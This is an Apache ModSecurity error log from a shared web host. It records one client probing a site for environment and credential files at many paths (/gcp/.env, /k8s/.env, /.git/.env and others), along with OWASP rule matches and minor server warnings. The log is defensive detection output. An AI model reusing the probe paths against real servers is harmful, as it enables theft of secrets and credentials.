[Fri Jul 17 09:26:23.324031 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /gcp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/gcp/.env"] [unique_id "almn54l9vhFBGA6D8l9_4AAAAAw"]
[Fri Jul 17 09:26:23.324316 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/gcp/.env"] [unique_id "almn54l9vhFBGA6D8l9_4AAAAAw"]
[Fri Jul 17 09:26:23.324678 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/gcp/.env"] [unique_id "almn54l9vhFBGA6D8l9_4AAAAAw"]
[Fri Jul 17 09:26:23.347199 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:23.581240 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cloud/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/cloud/.env"] [unique_id "almn55BVIrrUwtEhdafWgwAAAAU"]
[Fri Jul 17 09:26:23.581555 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/cloud/.env"] [unique_id "almn55BVIrrUwtEhdafWgwAAAAU"]
[Fri Jul 17 09:26:23.582274 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/cloud/.env"] [unique_id "almn55BVIrrUwtEhdafWgwAAAAU"]
[Fri Jul 17 09:26:23.654008 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:09/physical_node/resource1
[Fri Jul 17 09:26:23.741969 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infrastructure/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/infrastructure/.env"] [unique_id "almn50_0b3nWp8txtSDCnQAAAA0"]
[Fri Jul 17 09:26:23.742324 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/infrastructure/.env"] [unique_id "almn50_0b3nWp8txtSDCnQAAAA0"]
[Fri Jul 17 09:26:23.742763 2026] [security2:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/infrastructure/.env"] [unique_id "almn50_0b3nWp8txtSDCnQAAAA0"]
[Fri Jul 17 09:26:23.756404 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:23.868718 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn57oj0IkvhSCYadmHfgAAAAQ"]
[Fri Jul 17 09:26:23.868832 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn57oj0IkvhSCYadmHfgAAAAQ"]
[Fri Jul 17 09:26:23.869558 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn57oj0IkvhSCYadmHfgAAAAQ"]
[Fri Jul 17 09:26:23.871682 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:23.915297 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/docker/.env"] [unique_id "almn57EWOaI5pmYo9fnUZAAAAAA"]
[Fri Jul 17 09:26:23.915587 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/docker/.env"] [unique_id "almn57EWOaI5pmYo9fnUZAAAAAA"]
[Fri Jul 17 09:26:23.915942 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/docker/.env"] [unique_id "almn57EWOaI5pmYo9fnUZAAAAAA"]
[Fri Jul 17 09:26:23.981267 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:24.014694 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almn6I-0g_VSPeIeFN3GAQAAAAs"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:26:24.014729 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almn6I-0g_VSPeIeFN3GAQAAAAs"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:26:24.058396 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:49972] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:24.092908 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/k8s/.env"] [unique_id "almn6PwooI4qY7Jg93pa6wAAABM"]
[Fri Jul 17 09:26:24.093187 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/k8s/.env"] [unique_id "almn6PwooI4qY7Jg93pa6wAAABM"]
[Fri Jul 17 09:26:24.093543 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/k8s/.env"] [unique_id "almn6PwooI4qY7Jg93pa6wAAABM"]
[Fri Jul 17 09:26:24.176745 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:24.255373 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/kubernetes/.env"] [unique_id "almn6ARRrtuZqNDDSqW1aAAAABo"]
[Fri Jul 17 09:26:24.255675 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/kubernetes/.env"] [unique_id "almn6ARRrtuZqNDDSqW1aAAAABo"]
[Fri Jul 17 09:26:24.256123 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/kubernetes/.env"] [unique_id "almn6ARRrtuZqNDDSqW1aAAAABo"]
[Fri Jul 17 09:26:24.385439 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:24.451074 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/terraform/.env"] [unique_id "almn6PwooI4qY7Jg93pa7AAAABM"]
[Fri Jul 17 09:26:24.451360 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/terraform/.env"] [unique_id "almn6PwooI4qY7Jg93pa7AAAABM"]
[Fri Jul 17 09:26:24.451765 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/terraform/.env"] [unique_id "almn6PwooI4qY7Jg93pa7AAAABM"]
[Fri Jul 17 09:26:24.458322 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn57oj0IkvhSCYadmHfgAAAAQ"]
[Fri Jul 17 09:26:24.487300 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:24.595185 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:24.637622 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ansible/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/ansible/.env"] [unique_id "almn6JBVIrrUwtEhdafWhgAAAAU"]
[Fri Jul 17 09:26:24.637864 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/ansible/.env"] [unique_id "almn6JBVIrrUwtEhdafWhgAAAAU"]
[Fri Jul 17 09:26:24.638235 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/ansible/.env"] [unique_id "almn6JBVIrrUwtEhdafWhgAAAAU"]
[Fri Jul 17 09:26:24.704657 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:24.798510 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:50048] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:24.809346 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.git/.env"] [unique_id "almn6Loj0IkvhSCYadmHfwAAAAQ"]
[Fri Jul 17 09:26:24.809657 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.git/.env"] [unique_id "almn6Loj0IkvhSCYadmHfwAAAAQ"]
[Fri Jul 17 09:26:24.810079 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.git/.env"] [unique_id "almn6Loj0IkvhSCYadmHfwAAAAQ"]
[Fri Jul 17 09:26:24.976521 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ci/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/ci/.env"] [unique_id "almn6LEWOaI5pmYo9fnUZwAAAAA"]
[Fri Jul 17 09:26:24.976825 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/ci/.env"] [unique_id "almn6LEWOaI5pmYo9fnUZwAAAAA"]
[Fri Jul 17 09:26:24.977277 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/ci/.env"] [unique_id "almn6LEWOaI5pmYo9fnUZwAAAAA"]
[Fri Jul 17 09:26:25.024287 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:25.170824 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/cd/.env"] [unique_id "almn6a14q1EBnanVMYGpmwAAAAk"]
